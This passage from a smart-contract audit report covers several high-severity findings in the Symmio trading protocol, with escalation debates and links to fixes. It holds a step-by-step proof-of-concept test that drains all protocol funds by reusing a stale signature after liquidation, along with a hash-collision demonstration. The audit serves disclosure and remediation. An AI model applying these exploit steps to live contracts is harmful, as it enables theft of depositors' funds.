The Proof of Concept for this bug shows how the actions which ignore liquidation status can be used along with "old signature", which is accepted due to nonce being the same after the liquidation action.

The scenario to exploit this bug is as following:

1. User has to control partyA, partyB and liquidator.
2. Open 2 large opposite positions between partyA and partyB such that one of them is in a high loss and the other in the same/similar profit (easy to do via openPrice which is far away from current market price, since both partyA and partyB are controlled by the same user).
3. Make partyA liquidatable (many ways to do this: for example, opposite positions can have slightly different size with minimal locked balances, so that when the price moves, this disparency can make partyA liquidatable)
4. Call `liquidatePartyA` and `setSymbolsPrice` (there is no bad debt, because 1 position is in a big loss, the other position in a big profit, but their sum is in a small loss, which is covered by allocatd balance)
5. Sign `singleUpnlSig` for partyB at this time (partyB is in a small profit)
6. User-controlled liquidator calls `liquidatePositionsPartyA` with id of only the position which is in a loss for partyA, profit for partyB. This call increases partyB allocated balance by a very high profit of the position. This action doesn't change partyB's nonce, so previous partyB signature is still valid (this is the bug reported here)
7. At this time partyB has large inflated allocatedBalance and the same big loss, however signature for when partyB was in a small profit is still valid, because party B nonce is the same (position liquidation didn't change it). Use that older signature to sign `deallocateForPartyB`, deallocating inflated balance (which can easily be higher than total protocol deposited funds).
8. Withdraw deallocated balance for partyB. At this point all protocol funds are stolen.

Impact

All protocol funds can be stolen if a user can control partyA, partyB and liquidator. Since partyB and liquidator roles are supposed to be easy to get, this means that most users are able to easily steal all protocol funds.

There might also be future functions which might ignore liquidation status and can be exploited due to nonce being the same after parties state change during liquidation.

Code Snippet

Add this to any test, for example to `ClosePosition.behavior.ts`.

```
import { getDummyPriceSig, getDummySingleUpnlAndPriceSig,
↪  getDummyQuotesPriceSig, getDummySingleUpnlSig } from
↪  "./utils/SignatureUtils";

it("Steal all funds due to partyB nonce not increasing during the liquidation",
↪  async function () {
  const context: RunContext = this.context;

  this.protocol_allocated = decimal(1000);

  this.user_allocated = decimal(590);
  this.hedger_allocated = decimal(420);

  // some unsuspecting user deposits 1000 into protocol (but doesn't allocate it)
  this.user2 = new User(this.context, this.context.signers.user);
  await this.user2.setup();
  await this.user2.setBalances(this.protocol_allocated, this.protocol_allocated,
↪  0);

  // exploiter user controls partyA, partyB and liquidator
  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated,
↪  this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  this.liquidator = new User(this.context, this.context.signers.liquidator);
  await this.liquidator.setup();

  // open 2 opposite direction positions with user-controlled hedger to exploit
↪  them later
  // (positions with slightly different sizes so that at some point the hedger
↪  can be liquidated)
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .quantity(decimal(11000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(1, 0, decimal(2, 16));
  await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decim ⌋
↪   al(11000)).openPrice(decimal(1)).price(decimal(1)).build());

  await this.user.sendQuote(limitQuoteRequestBuilder()
    .positionType(PositionType.SHORT)
    .quantity(decimal(10000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(2, 0, decimal(2, 16));
  await this.hedger.openPosition(2, limitOpenRequestBuilder().filledAmount(decim ⌋
↪   al(10000)).openPrice(decimal(1)).price(decimal(1)).build());

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪   + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪   1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪   + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪   1e18);

  // price goes to 0.9, so partyA is in a loss of -100 and becomes liquidatable
  // user now exploits the bug by liquidating partyA
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyA(
    this.user.signer.address,
    await getDummySingleUpnlSig(decimal(-100)),
  );

  await context.liquidationFacet.connect(this.liquidator.signer).setSymbolsPrice(
      this.user.signer.address,
      await getDummyPriceSig([1], [decimal(9, 17)], decimal(-100),
↪   decimal(1100)),
    );

  // get partyB upnl signature before partyA position is liquidated (at which
↪   time partyB has upnl of +100)
  var previousSig = await getDummySingleUpnlSig(decimal(100));

  // liquidate only quote 1 (temporarily inflating balance of controlled partyB)
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositi ⌋
↪   onsPartyA(
    this.user.signer.address,
    [1]
  );

  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("after liquidation of partyA: partyB allocated: " +
↪  info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + "
↪  pendingLocked: " + info.totalPendingLocked / 1e18);

  // deallocate partyB with previous signature (before partyA's position is
↪  liquidated)
  // (current partyB upnl is -1100)
  await context.accountFacet.connect(this.hedger.signer).deallocateForPartyB(dec ⌋
↪  imal(1530), this.user.getAddress(), previousSig);

  var balance = await context.viewFacet.balanceOf(this.hedger.getAddress());
  console.log("PartyB balance to withdraw: " + balance/1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪  + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪  1e18);
  await time.increase(300);
  await context.accountFacet.connect(this.hedger.signer).withdraw(balance);

  var balance = await context.collateral.balanceOf(this.hedger.getAddress());
  console.log("Withdrawn partyB balance: " + balance/1e18);
  var balance = await context.collateral.balanceOf(context.diamond);
  console.log("Protocol balance: " + balance/1e18 + " (less than unsuspected
↪  user deposited)");

  // try to withdraw unsuspected user's balance
  await expect(context.accountFacet.connect(this.user2.signer).withdraw(this.pro ⌋
↪  tocol_allocated))
    .to.be.revertedWith("ERC20: transfer amount exceeds balance");

  console.log("User who only deposited 1000 is unable to withdraw his deposit
↪  because partyB has stolen his funds");

});
```

Tool used

Manual Review

Recommendation

Add nonce increase for both partyA and party for all liquidation functions. They might not be needed in all liquidation functions, but since they're quite tricky in parties state change, I suggest to increase nonce in all of them. However, at the very least nonce should be increased in the following functions:

1. `liquidatePartyA`. Increase nonce for partyA

2. `liquidatePendingPositionsPartyA`. Increase nonce for partyA and for all corresponding partyBs (because pending quotes are liquidated, freeing up locked balance, which is a state changing action)
3. `liquidatePositionsPartyA`. Increase nonce for partyA and for all corresponding partyBs (because partyB allocatedBalance and upnl are changed and open position is liquidated)
4. `liquidatePartyB`. Increase nonce for partyA and partyB (because allocatedBalance for both parties changes).
5. `liquidatePositionsPartyB`. Increase nonce for partyA and partyB (because positions are deleted)

Discussion

hrishibhat

Fix from Sponsor:

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/15

Issue H-4: LibMuon Signature hash collision

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/214

Found by

bin2chen, shaka

Summary

In `LibMuon` , all signatures do not distinguish between type prefixes, and `abi.encodePacked` is used when calculating the hash Cause when `abi.encodePacked`, if there is a dynamic array, different structures but the same hash value may be obtained Due to conflicting hash values, signatures can be substituted for each other, making malicious use of illegal signatures possible

Vulnerability Detail

The following two methods are examples

1.verifyPrices:

```
    function verifyPrices(PriceSig memory priceSig, address partyA) internal
 ↪  view {
        MuonStorage.Layout storage muonLayout = MuonStorage.layout();
        require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon:
 ↪  Invalid length");
        bytes32 hash = keccak256(
            abi.encodePacked(
                muonLayout.muonAppId,
                priceSig.reqId,
                address(this),
@>              partyA,
@>              priceSig.upnl,
@>              priceSig.totalUnrealizedLoss,
@>              priceSig.symbolIds,
@>              priceSig.prices,
                priceSig.timestamp,
                getChainId()
            )
        );
        verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);
    }
```

2.verifyPartyAUpnlAndPrice

```
    function verifyPartyAUpnlAndPrice(
        SingleUpnlAndPriceSig memory upnlSig,
        address partyA,
        uint256 symbolId
    ) internal view {
        MuonStorage.Layout storage muonLayout = MuonStorage.layout();
//        require(
//            block.timestamp <= upnlSig.timestamp + muonLayout.upnlValidTime,
//            "LibMuon: Expired signature"
//        );
        bytes32 hash = keccak256(
            abi.encodePacked(
                muonLayout.muonAppId,
                upnlSig.reqId,
                address(this),
@>              partyA,
@>              AccountStorage.layout().partyANonces[partyA],
@>              upnlSig.upnl,
@>              symbolId,
@>              upnlSig.price,
                upnlSig.timestamp,
                getChainId()
            )
        );
        verifyTSSAndGateway(hash, upnlSig.sigs, upnlSig.gatewaySignature);
    }
```

We exclude the same common part (muonAppId/reqId/address (this)/timestamp/getChainId ())

Through the following simplified test code, although the structure is different, the hash value is the same at that time

```
function test() external {
  address verifyPrices_partyA = address(0x1);
  int256 verifyPrices_upnl = 100;
  int256 verifyPrices_totalUnrealizedLoss = 100;
  uint256 [] memory verifyPrices_symbolIds = new uint256[](1);
  verifyPrices_symbolIds[0]=1;
  uint256 [] memory verifyPrices_prices = new uint256[](1);
  verifyPrices_prices[0]=1000;

  bytes32 verifyPrices  = keccak256(abi.encodePacked(
          verifyPrices_partyA,
          verifyPrices_upnl,
          verifyPrices_totalUnrealizedLoss,
          verifyPrices_symbolIds,
        verifyPrices_prices
        ));

  address verifyPartyAUpnlAndPrice_partyA = verifyPrices_partyA;
  int256  verifyPartyAUpnlAndPrice_partyANonces = verifyPrices_upnl;
  int256  verifyPartyAUpnlAndPrice_upnl = verifyPrices_totalUnrealizedLoss;
  uint256 verifyPartyAUpnlAndPrice_symbolId = verifyPrices_symbolIds[0];
  uint256 verifyPartyAUpnlAndPrice_price = verifyPrices_prices[0];


  bytes32 verifyPartyAUpnlAndPrice  = keccak256(abi.encodePacked(
        verifyPartyAUpnlAndPrice_partyA,
        verifyPartyAUpnlAndPrice_partyANonces,
        verifyPartyAUpnlAndPrice_upnl,
        verifyPartyAUpnlAndPrice_symbolId,
        verifyPartyAUpnlAndPrice_price
        ));

  console.log("verifyPrices == verifyPartyAUpnlAndPrice:",verifyPrices ==
↪   verifyPartyAUpnlAndPrice);

}
```

```
$ forge test -vvv

Running 1 test for test/Counter.t.sol:CounterTest
[PASS] test() (gas: 4991)
Logs:
  verifyPrices == verifyPartyAUpnlAndPrice: true

Test result: ok. 1 passed; 0 failed; finished in 11.27ms
```

From the above test example, we can see that the `verifyPrices` and `verifyPartyAUpnlAndPrice` signatures can be used interchangeably If we get a legal `verifyPartyAUpnlAndPrice` , it can be used as the signature of `verifyPrices ()` Use `partyANonces` as `upnl`, etc

Impact

Signatures can be reused due to hash collisions, through illegal signatures, using illegal `unpl`, etc

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L12

Tool used

Manual Review

Recommendation

It is recommended to add the prefix of the hash, or use `api.encode` Such as:

```
    function verifyPrices(PriceSig memory priceSig, address partyA) internal
 ↪  view {
        MuonStorage.Layout storage muonLayout = MuonStorage.layout();
        require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon:
 ↪  Invalid length");
        bytes32 hash = keccak256(
            abi.encodePacked(
+               "verifyPrices",
                muonLayout.muonAppId,
                priceSig.reqId,
                address(this),
                partyA,
                priceSig.upnl,
                priceSig.totalUnrealizedLoss,
                priceSig.symbolIds,
                priceSig.prices,
                priceSig.timestamp,
                getChainId()
            )
        );
        verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);
    }
```

Discussion

sherlock-admin2

> Escalate
>
> This issue and duplicate are invalid: These issues suggest that a collision is possible between hashes being used in `verifyPrices` and `verifyPartyAUpnlAndPrice`.
>
> The following check: https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L52
>
> ensures that `priceSig.symbolIds.length + priceSig.prices.length != 3` and so:
>
> ```
> abi.encodePacked(
>     muonLayout.muonAppId,
> ```

```
        priceSig.reqId,
        address(this),
        partyA,
        priceSig.upnl,
        priceSig.totalUnrealizedLoss,
        priceSig.symbolIds,
        priceSig.prices,
        priceSig.timestamp,
        getChainId()
    ) != abi.encodePacked(
        muonLayout.muonAppId,
        upnlSig.reqId,
        address(this),
        partyA,
        AccountStorage.layout().partyANonces[partyA],
        upnlSig.upnl,
        upnlSig.timestamp,
        getChainId()
    )
```

because the two structures cannot be of the same length given the check

```
You've deleted an escalation for this issue.
```

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/11

Issue H-5: `depositAndAllocateForPartyB` is broken due to incorrect precision

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/222

Found by

0xChinedu, 0xmuxyz, AkshaySrivastav, Ch_301, Juntao, PokemonAuditSimulator, berndartmueller, josephdara, kutugu, nobody2018, shaka, tvdung94, xiaoming90

Summary

Due to incorrect precision, any users or external protocols utilizing the `depositAndAllocateForPartyB` to allocate 1000 USDC will end up only having 0.000000001 USDC allocated to their account. This might potentially lead to unexpected loss of funds due to the broken functionality if they rely on the accuracy of the function outcome to perform certain actions that deal with funds/assets.

Vulnerability Detail

The input `amount` of the `depositForPartyB` function must be in native precision (e.g. USDC should be 6 decimals) as the function will automatically scale the amount to 18 precision in Lines 114-115 below.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacetImpl.sol#L108

```
File: AccountFacetImpl.sol
108:     function depositForPartyB(uint256 amount) internal {
109:         IERC20(GlobalAppStorage.layout().collateral).safeTransferFrom(
110:             msg.sender,
111:             address(this),
112:             amount
113:         );
114:         uint256 amountWith18Decimals = (amount * 1e18) /
115:         (10 **
↪  IERC20Metadata(GlobalAppStorage.layout().collateral).decimals());
116:         AccountStorage.layout().balances[msg.sender] +=
↪  amountWith18Decimals;
117:     }
```

On the other hand, the input `amount` of `allocateForPartyB` function must be in 18 decimals precision. Within the protocol, it uses 18 decimals for internal accounting.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacetImpl.sol#L119

```
File: AccountFacetImpl.sol
119:     function allocateForPartyB(uint256 amount, address partyA, bool
↪  increaseNonce) internal {
120:         AccountStorage.Layout storage accountLayout =
↪  AccountStorage.layout();
121:
122:         require(accountLayout.balances[msg.sender] >= amount, "PartyBFacet:
↪  Insufficient balance");
123:         require(
124:             !MAStorage.layout().partyBLiquidationStatus[msg.sender][partyA],
125:             "PartyBFacet: PartyB isn't solvent"
126:         );
127:         if (increaseNonce) {
128:             accountLayout.partyBNonces[msg.sender][partyA] += 1;
129:         }
130:         accountLayout.balances[msg.sender] -= amount;
131:         accountLayout.partyBAllocatedBalances[msg.sender][partyA] += amount;
132:     }
```

The `depositAndAllocateForPartyB` function allows the users to deposit and allocate to their accounts within a single transaction. Within the function, it calls the `depositForPartyB` function followed by the `allocateForPartyB` function. The function passes the same `amount` into both the `depositForPartyB` and `allocateForPartyB` functions. However, the problem is that one accepts `amount` in native precision (e.g. 6 decimals) while the other accepts `amount` in scaled decimals (e.g. 18 decimals).

Assume that Alice calls the `depositAndAllocateForPartyB` function and intends to deposit and allocate 1000 USDC. Thus, she set the `amount` of the `depositAndAllocateForPartyB` function to `1000e6` as the precision of USDC is `6`.

The `depositForPartyB` function at Line 78 will work as intended because it will automatically be scaled up to internal accounting precision (18 decimals) within the function, and 1000 USDC will be deposited to her account.

The `allocateForPartyB` at Line 79 will not work as intended. The function expects the `amount` to be in internal accounting precision (18 decimals), but an `amount` in native precision (6 decimals for USDC) is passed in. As a result, only 0.000000001 USDC will be allocated to her account.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L74

```
File: AccountFacet.sol
74:     function depositAndAllocateForPartyB(
            uint256 amount,
            address partyA
        ) external whenNotPartyBActionsPaused onlyPartyB {
            AccountFacetImpl.depositForPartyB(amount);
            AccountFacetImpl.allocateForPartyB(amount, partyA, true);
            emit DepositForPartyB(msg.sender, amount);
            emit AllocateForPartyB(msg.sender, partyA, amount);
        }
```

Impact

Any users or external protocols utilizing the `depositAndAllocateForPartyB` to allocate 1000 USDC will end up only having 0.000000001 USDC allocated to their account, which might potentially lead to unexpected loss of funds due to the broken functionality if they rely on the accuracy of the outcome to perform certain actions dealing with funds/assets.

For instance, Bob's account is close to being liquidated. Thus, he might call the `depositAndAllocateForPartyB` function in an attempt to increase its allocated balance and improve its account health level to avoid being liquidated. However, the `depositAndAllocateForPartyB` is not working as expected, and its allocated balance only increased by a very small amount (e.g. 0.000000001 USDC in our example). Bob believed that his account was healthy, but in reality, his account was still in danger as it only increased by 0.000000001 USDC. In the next one or two blocks, the price swung, and Bob's account was liquidated.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L74

Tool used

Manual Review

Recommendation

Scale the `amount` to internal accounting precision (18 decimals) before passing it to the `allocateForPartyB` function.

```
function depositAndAllocateForPartyB(
    uint256 amount,
    address partyA
) external whenNotPartyBActionsPaused onlyPartyB {
    AccountFacetImpl.depositForPartyB(amount);
+    uint256 amountWith18Decimals = (amount * 1e18) /
+     (10 ** IERC20Metadata(GlobalAppStorage.layout().collateral).decimals());
-     AccountFacetImpl.allocateForPartyB(amount, partyA, true);
+     AccountFacetImpl.allocateForPartyB(amountWith18Decimals, partyA, true);
    emit DepositForPartyB(msg.sender, amount);
    emit AllocateForPartyB(msg.sender, partyA, amount);
}
```

Discussion

securitygrid

Escalate for 10 usdc This report describes the scenario regarding the loss of funds: PartyB, which should not have been liquidated, was liquidated due to this issue. Many dups don't recognize this impact. Normally, it just wastes the caller's gas. According to Duplication rules, these reports should be downgraded. They are: #3, #21, #120, #133, #174, #183, #285. #153 describes PartyA, a different problem. This should be invalid.

sherlock-admin2

> Escalate for 10 usdc This report describes the scenario regarding the loss of funds: PartyB, which should not have been liquidated, was liquidated due to this issue. Many dups don't recognize this impact. Normally, it just wastes the caller's gas. According to Duplication rules, these reports should be downgraded. They are: #3, #21, #120, #133, #174, #183, #285. #153 describes PartyA, a different problem. This should be invalid.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

panprog

Escalate

This should be valid medium, not high.

There is no material loss of funds: funds are in the user account, just don't make it to the allocated balance, which can be easily fixed by allocating. The scenario described is quite unlikely: the partyB has to deposit just a few blocks before being liquidated which is not what users normally do. If such situation happens due to large price movement, then there is a higher probability that user is liquidated due to network congestion and being unable to deposit in time, rather than due to this bug. In all the other circumstances the user should have enough time to notice lack of allocated balance and react appropriately.

Since loss of funds is possible but not very likely, this should be medium.

sherlock-admin2

> Escalate
>
> This should be valid medium, not high.
>
> There is no material loss of funds: funds are in the user account, just don't make it to the allocated balance, which can be easily fixed by allocating. The scenario described is quite unlikely: the partyB has to deposit just a few blocks before being liquidated which is not what users normally do. If such situation happens due to large price movement, then there is a higher probability that user is liquidated due to network congestion and being unable to deposit in time, rather than due to this bug. In all the other circumstances the user should have enough time to notice lack of allocated balance and react appropriately.
>
> Since loss of funds is possible but not very likely, this should be medium.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

xiaoming9090

Escalate

The feature (`depositAndAllocateForPartyB`) provided by the protocol is fundamentally broken. When users aim to allocate 1000 USDC, the system allocates only 0.000000001 USDC to their account, which is a negligible amount. The caller of the `depositAndAllocateForPartyB` function expects the function to perform as intended, and we cannot assume that every caller (can be a person or smart contract/external protocol) will go back and verify whether their allocated balance has correctly increased after each use.

Liquidations frequently occur in the real world, particularly within large protocols (e.g. Compound, AAVE). Assuming that one of their deposit functions has a bug where deposited assets fail to increase the account's collateral level appropriately, it is certain that their users and external protocols that integrate with them will be unfairly liquidated, suffering a loss. The same applies here. Thus, it should be considered of High severity.

sherlock-admin2

> Escalate
>
> The feature (`depositAndAllocateForPartyB`) provided by the protocol is fundamentally broken. When users aim to allocate 1000 USDC, the system allocates only 0.000000001 USDC to their account, which is a negligible amount. The caller of the `depositAndAllocateForPartyB`

> function expects the function to perform as intended, and we cannot assume that every caller (can be a person or smart contract/external protocol) will go back and verify whether their allocated balance has correctly increased after each use.
>
> Liquidations frequently occur in the real world, particularly within large protocols (e.g. Compound, AAVE). Assuming that one of their deposit functions has a bug where deposited assets fail to increase the account's collateral level appropriately, it is certain that their users and external protocols that integrate with them will be unfairly liquidated, suffering a loss. The same applies here. Thus, it should be considered of High severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

> The feature (depositAndAllocateForPartyB) provided by the protocol is fundamentally broken. When users aim to allocate 1000 USDC, the system allocates only 0.000000001 USDC to their account, which is a negligible amount.

Agree with senior watson,

the severity is indeed high because of the broken accounting

will address securitygrid's escalation seperately

SergeKireev

Escalate

The bug does not cause a loss of funds, but fails to allocate funds. As stated by @panprog the user can simply allocate later with an additional call.

The scenario described by Lead watson in addition of being highly unlikely as a setup, assumes a user mistake as the trigger:

> and we cannot assume that every caller (can be a person or smart contract/external protocol) will go back and verify whether their allocated balance has correctly increased after each use.

Severity should be low

sherlock-admin2

> Escalate

> The bug does not cause a loss of funds, but fails to allocate funds. As stated by @panprog the user can simply allocate later with an additional call.
>
> The scenario described by Lead watson in addition of being highly unlikely as a setup, assumes a user mistake as the trigger:
>
> > and we cannot assume that every caller (can be a person or smart contract/external protocol) will go back and verify whether their allocated balance has correctly increased after each use.
>
> Severity should be low

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/12

hrishibhat

Result: High Has duplicates This is a valid high issue. Since the funds need to be allocated to be able to trade, there is a valid error in fund allocation. The function does not work as expected. It is not a user's responsibility to go back and verify the allocations. And there is valid loss of funds because of this.

While I can understand the @panprog's argument to make this a medium, I do not think this is a strong enough reason to downgrade this issue.

> In all the other circumstances the user should have enough time to notice lack of allocated balance and react appropriately.

In addition to the points mentioned above agree with @xiaoming9090's points here:

> Liquidations frequently occur in the real world, particularly within large protocols (e.g. Compound, AAVE). Assuming that one of their deposit functions has a bug where deposited assets fail to increase the account's collateral level appropriately, it is certain that their users and external protocols that integrate with them will be unfairly liquidated, suffering a loss. The same applies here. Thus, it should be considered of High severity.

Also regarding @securitygrid's escalation, although agree with the points, the issues mentioned will still be considered duplicates because of the duplication rules Agree on #153 not being a duplicate as it does not clearly identify the core issue.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- securitygrid: accepted
- xiaoming9090: accepted
- panprog: rejected
- SergeKireev: rejected

Issue H-6: Accounting error in PartyB's pending locked balance led to loss of funds

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/226

Found by

Ch_301, Yuki, nican0r, tvdung94, xiaoming90

Summary

Accounting error in the PartyB's pending locked balance during the partial filling of a position could lead to a loss of assets for PartyB.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacet.sol#L150

```
File: PartyBFacetImpl.sol
    function openPosition(
        uint256 quoteId,
        uint256 filledAmount,
        uint256 openedPrice,
        PairUpnlAndPriceSig memory upnlSig
    ) internal returns (uint256 currentId) {
..SNIP..

        LibQuote.removeFromPendingQuotes(quote);

..SNIP..
            quoteLayout.quoteIdsOf[quote.partyA].push(currentId);
..SNIP..
            } else {

↪   accountLayout.pendingLockedBalances[quote.partyA].sub(filledLockedValues);

↪   accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].sub(
                    filledLockedValues
                );
            }
```

() Parameter	Description
()	
$quote_{current}$	Current quote (Quote ID = 1)
$quote_{new}$	Newly created quote (Quote ID = 2) due to partially filling
$lockedValue_{total}$	100 USD. The locked values of $quote_{current}$
$lockedValue_{filled}$	30 USD. $lockedValue_{filled} = lockedValue_{total} \times \frac{filledAmount}{quote.quantity}$
$lockedValue_{unfilled}$	70 USD. $lockedValue_{unfilled} = lockedValue_{total} - lockedValue_{filled}$
$pendingLockedBalance_a$	100 USD. PartyA's pending locked balance
$pendingLockedBalance_b$	100 USD. PartyB's pending locked balance
$pendingQuotes_a$	PartyA's pending quotes. $pendingQuotes_a = [quote_{current}]$
$pendingQuotes_b$	PartyB's pending quotes. $pendingQuotes_b = [quote_{current}]$
()	

Assume the following states before the execution of the `openPosition` function:

- $pendingQuotes_a = [quote_{current}]$
- $pendingQuotes_b = [quote_{current}]$
- $pendingLockedBalance_a = 100\ USD$
- $pendingLockedBalance_b = 100\ USD$

When the `openPosition` function is executed, $quote_{current}$ will be removed from $pendingQuotes_a$ and $pendingQuotes_b$ in Line 156.

If the position is partially filled, $quote_{current}$ will be filled, and $quote_{new}$ will be created with the unfilled amount ($lockedValue_{unfilled}$). The $quote_{new}$ is automatically added to PartyA's pending quote list in Line 225.

The states at this point are as follows:

- $pendingQuotes_a = [quote_{new}]$
- $pendingQuotes_b = []$
- $pendingLockedBalance_a = 100\ USD$
- $pendingLockedBalance_b = 100\ USD$

Line 238 removes the balance already filled ($lockedValue_{filled}$) from $pendingLockedBalance_a$. The unfilled balance ($lockedValue_{unfilled}$) does not need to be removed from $pendingLockedBalance_a$ because it is now the balance of $quote_{new}$ that belong to PartyA. The value in $pendingLockedBalance_a$ is correct.

The states at this point are as follows:

- $pendingQuotes_a = [quote_{new}]$
- $pendingQuotes_b = []$
- $pendingLockedBalance_a = 70\ USD$
- $pendingLockedBalance_b = 100\ USD$

In Line 239, the code removes the balance already filled ($lockedValue_{filled}$) from $pendingLockedBalance_b$

The end state is as follows:

- $pendingQuotes_a = [quote_{new}]$
- $pendingQuotes_b = []$
- $pendingLockedBalance_a = 70\ USD$
- $pendingLockedBalance_b = 70\ USD$

As shown above, the value of $pendingLockedBalance_b$ is incorrect. Even though PartyB has no pending quote, 70 USD is still locked in the pending balance.

There are three (3) important points to note:

1) $quote_{current}$ has already been removed from $pendingQuotes_b$ in Line 156
2) $quote_{new}$ is not automatically added to $pendingQuotes_b$. When $quote_{new}$ is created, it is not automatically locked to PartyB.
3) $pendingQuotes_b$ is empty

As such, $lockedValue_{total}$ should be removed from the $pendingLockedBalance_b$ instead of only $lockedvalue_{filled}$.

Impact

Every time PartyB partially fill a position, their $pendingLockedBalance_b$ will silently increase and become inflated. The pending locked balance plays a key role in the protocol's accounting system. Thus, an error in the accounting breaks many of the computations and invariants of the protocol.

For instance, it is used to compute the available balance of an account in `partyBAvailableForQuote` function. Assuming that the allocated balance remains the same. If the pending locked balance increases silently due to the bug, the available balance returned from the `partyBAvailableForQuote` function will decrease. Eventually, it will "consume" all the allocated balance, and there will be no available funds left for PartyB to open new positions or to deallocate+withdraw funds. Thus, leading to lost of assets for PartyB.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacet.sol#L150

Tool used

Manual Review

Recommendation

Update the affected function to remove $lockedValue_{total}$ from the $pendingLockedBalance_b$ instead of only $lockedvalue_{filled}$.

```
accountLayout.pendingLockedBalances[quote.partyA].sub(filledLockedValues);
accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].sub(
-    filledLockedValues
+    quote.lockedValues
);
```

Discussion

MoonKnightDev

In this scenario, only the pending locks of Party B would be incorrect, resulting in an accounting error for Party B. However, no funds would be stolen. so we don't consider it as "High"

ctf-sec

This issue does break accounting, recommend maintaining high severity here

> For instance, it is used to compute the available balance of an account in partyBAvailableForQuote function. Assuming that the allocated balance remains the same. If the pending locked balance increases silently due to the bug, the available balance returned from the partyBAvailableForQuote function will decrease. Eventually, it will "consume" all the allocated balance, and there will be no available funds left for PartyB to open new positions or to deallocate+withdraw funds. Thus, leading to lost of assets for PartyB.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/4

Issue H-7: Liquidation can be blocked by incrementing the nonce

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/233

Found by

0xcrunch, AkshaySrivastav, Jiamin, Juntao, Ruhum, berndartmueller, bin2chen, cergyk, circlelooper, mstpr-brainbot, nobody2018, p0wd3r, rvierdiiev, shaka, simon135, volodya, xiaoming90

Summary

Malicious users could block liquidators from liquidating their accounts, which creates unfairness in the system and lead to a loss of profits to the counterparty.

Vulnerability Detail

Instance 1 - Blocking liquidation of PartyA A liquidatable PartyA can block liquidators from liquidating its account.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L20

```
File: LiquidationFacetImpl.sol
20:     function liquidatePartyA(address partyA, SingleUpnlSig memory upnlSig) internal {
21:         MAStorage.Layout storage maLayout = MAStorage.layout();
22:
23:         LibMuon.verifyPartyAUpnl(upnlSig, partyA);
24:         int256 availableBalance = LibAccount.partyAAvailableBalanceForLiquidation(
25:             upnlSig.upnl,
26:             partyA
27:         );
28:         require(availableBalance < 0, "LiquidationFacet: PartyA is solvent");
29:         maLayout.liquidationStatus[partyA] = true;
30:         maLayout.liquidationTimestamp[partyA] = upnlSig.timestamp;
31:         AccountStorage.layout().liquidators[partyA].push(msg.sender);
32:     }
```

Within the `liquidatePartyA` function, it calls the `LibMuon.verifyPartyAUpnl` function.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L87

```
File: LibMuon.sol
